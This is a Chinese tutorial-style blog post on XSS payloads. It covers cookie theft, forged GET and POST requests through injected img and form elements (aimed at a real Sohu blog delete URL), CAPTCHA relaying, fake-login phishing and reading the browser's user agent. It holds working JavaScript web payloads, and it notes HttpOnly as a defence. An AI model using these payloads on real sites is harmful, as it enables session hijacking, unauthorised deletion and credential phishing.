详探XSS PayIoad

简介: 1.Cookie劫持一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户


1.Cookie劫持


一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击


Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户


<script>alert(document.cookie)</script>

这样,就完成了一个最简单的窃取Cookie的XSS Payload

Cookie的“HttpOnly”标识可以防止“Cookie劫持”🛹


2.构造GET与POST请求


构造GET请求:🛹

比如在某博客上有一篇文章,想通过XSS删除它,该如何做呢?

例如正常删除该文章的链接是:


http://blog.sohu.com/manage/entry.do? m=delete&id=156713012


攻击者可以通过插入一张图片来发起一个GET请求:


var img = document.createElement("img");
img.src = "http://blog.sohu.com/manage/entry.do? m=delete&id=156713012";
document.body.appendChild(img);


构造POST请求:🙌

例如现在有一个表单。攻击者将通过JavaScript发出一个POST请求,提交此表单,最终发出一条新的消息


var dd = document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML = '<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" value="JiUY" name="ck" />'+
'<input type="text" value="testtesttest" name="mb_text" />'+
'</form>'
document.getElementById("xssform").submit();


3.XSS钓鱼


在前文提到的“通过POST表单发消息”的案例中,如果在提交表单时要求用户输入验证码,那么一般的XSS Payload都会失效;此外,在大多数“修改用户密码”的功能中,在提交新密码前,都会要求用户输入“Old Password”。而这个“Old Password”,对于攻击者来说,往往是不知道的。


但是,这就能限制住XSS攻击吗?答案是否定的。


对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远程服务器上来实施——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证码。


修改密码的问题稍微复杂点。为了窃取密码,攻击者可以将XSS与“钓鱼”相结合。


实现思路很简单:利用JavaScript在当前页面上“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送至黑客的服务器上。


例如:



4.识别用户浏览器


最直接的莫过于通过XSS读取浏览器的UserAgent对象:


alert(navigator.userAgent);



如下是一个典型的Chrome浏览器:


目录
相关文章
|
6月前
|
存储 安全 JavaScript
26、XSS漏洞介绍
26、XSS漏洞介绍
56 0
|
2月前
|
存储 安全 JavaScript
【XSS】XSS漏洞详细指南
【XSS】XSS漏洞详细指南
84 3
|
2月前
|
JavaScript 前端开发 PHP
【XSS】markdown xss
【XSS】markdown xss
43 5
|
3月前
|
存储 JavaScript API
跨站脚本(XSS)
【8月更文挑战第17天】
25 3
|
3月前
|
JavaScript 前端开发
常见XSS绕过技巧
常见XSS绕过技巧
174 0
|
安全 JavaScript 前端开发
|
安全
2021Kali系列 -- XSS漏洞(Beef-xss)
2021Kali系列 -- XSS漏洞(Beef-xss)
148 0
2021Kali系列 -- XSS漏洞(Beef-xss)
|
安全 JavaScript 前端开发
XSS 是什么
XSS 是什么
166 0
|
Web App开发 JavaScript 前端开发